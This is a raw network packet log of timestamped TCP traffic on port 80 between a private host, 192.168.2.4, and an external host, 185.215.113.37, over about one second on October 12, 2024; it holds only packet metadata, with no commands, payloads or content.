Oct 12, 2024 13:17:30.904144049 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.904171944 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.904177904 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.904207945 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.904213905 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.904238939 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.904252052 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.904273033 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.904279947 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.904308081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.904314041 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.904341936 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.904350042 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.904378891 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.904382944 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.904414892 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.904422045 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.904458046 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.935451984 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.935523987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.935544014 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.935569048 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.935580015 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.935615063 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.935623884 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.935650110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.935658932 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.935693026 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.935707092 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.935750961 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.935759068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.935794115 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.935801983 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.935837984 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.935844898 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.935879946 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.935888052 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.935914993 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.935920954 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.935950994 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.935956955 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.935987949 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.935993910 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.936024904 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.936032057 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.936060905 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.936068058 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.936093092 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.936100960 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.936129093 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.936135054 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.936167955 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.936171055 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.936203957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.936211109 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.936247110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.936249018 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.936281919 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.936290979 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.936316013 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.936321974 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.936351061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.936357021 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.936383963 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.936394930 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.936418056 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.936422110 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.936453104 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.936460018 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.936487913 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.936494112 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.936521053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.936528921 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.936556101 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.936562061 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.936589956 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.936595917 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.936625004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.936630011 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.936660051 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.936666012 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.936695099 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.936702013 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.936729908 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.936736107 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.936764956 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.936770916 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.936801910 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.936805010 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.936836958 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.936844110 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.936871052 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.936877012 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.936906099 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.936908960 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.936939001 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.936945915 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.936974049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.936980009 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.937010050 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.937014103 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.937052011 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.967987061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.968054056 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.968072891 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.968089104 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.968121052 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.968137980 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.968172073 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.968179941 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.968208075 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.968233109 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.968241930 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.968245029 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.968275070 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.968283892 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.968310118 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.968312025 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.968343973 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.968353033 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.968379021 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.968384981 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.968414068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.968425989 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.968455076 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.968455076 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.968499899 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.968894005 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.968924999 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.968945980 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.968959093 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.968961000 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.969000101 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.969013929 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.969058990 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.969067097 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.969109058 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.969119072 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.969161034 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.969171047 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.969204903 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.969213963 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.969238043 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.969239950 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.969275951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.969279051 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.969310045 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.969319105 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.969343901 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.969351053 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.969377995 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.969409943 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.969410896 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.969429016 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.969444990 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.969454050 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.969480038 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.969485998 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.969513893 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.969523907 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.969549894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.969553947 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.969583035 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.969589949 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.969616890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.969623089 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.969650030 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.969660997 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.969686031 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.969692945 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.969719887 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.969727039 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.969758987 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.997136116 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.997173071 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.997215033 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.997227907 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.997232914 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.997270107 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.997276068 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.997303963 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.997312069 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.997340918 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.997347116 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.997383118 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.997395039 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.997441053 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.997447014 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.997488976 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.997498989 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.997533083 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.997545004 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.997574091 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.997582912 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.997617960 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.997626066 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.997659922 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.997672081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.997706890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.997715950 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.997740984 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.997749090 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.997781992 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.997792959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.997870922 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.997879028 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.997906923 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.997912884 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.997942924 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.997948885 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.997978926 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.997984886 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.998016119 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.998023033 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.998050928 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.998058081 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.998085022 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.998091936 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.998121023 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.998126984 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.998153925 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.998162031 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.998188972 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.998194933 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.998223066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.998229027 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.998260021 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.998264074 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.998295069 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.998301029 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.998328924 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.998334885 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.998366117 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.998370886 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.998404980 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.998423100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.998466015 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.998476028 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.998508930 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.998513937 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.998543024 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.998550892 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.998579025 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.998584032 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.998613119 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.998620033 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.998647928 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.998653889 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.998686075 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:30.998691082 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:30.998725891 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.030147076 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.030199051 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.030225992 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.030235052 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.030239105 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.030270100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.030282021 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.030313969 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.030344009 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.030385971 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.030402899 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.030437946 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.030445099 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.030477047 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.030482054 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.030513048 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.030519009 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.030548096 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.030555964 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.030582905 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.030582905 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.030617952 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.030622959 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.030653000 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.030659914 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.030690908 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.030695915 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.030725956 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.030730963 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.030761003 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.030767918 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.030795097 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.030802011 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.030829906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.030836105 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.030868053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.030872107 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.030903101 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.030909061 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.030939102 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.030944109 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.030972958 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.030978918 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.031008005 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.031013966 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.031043053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.031049967 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.031080008 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.031083107 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.031115055 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.031125069 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.031150103 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.031156063 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.031183958 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.031189919 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.031219006 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.031224012 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.031251907 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.031260014 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.031286001 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.031291962 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.031317949 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.031327009 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.031352043 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.031358004 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.031395912 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.031415939 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.031450033 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.031460047 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.031486034 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.031491995 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.031519890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.031527042 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.031558037 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.031563044 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.031591892 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.031599045 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.031626940 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.031636000 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.031662941 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 12, 2024 13:17:31.031666040 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 12, 2024 13:17:31.031698942 CEST	80	49730	185.215.113.37	192.168.2.4
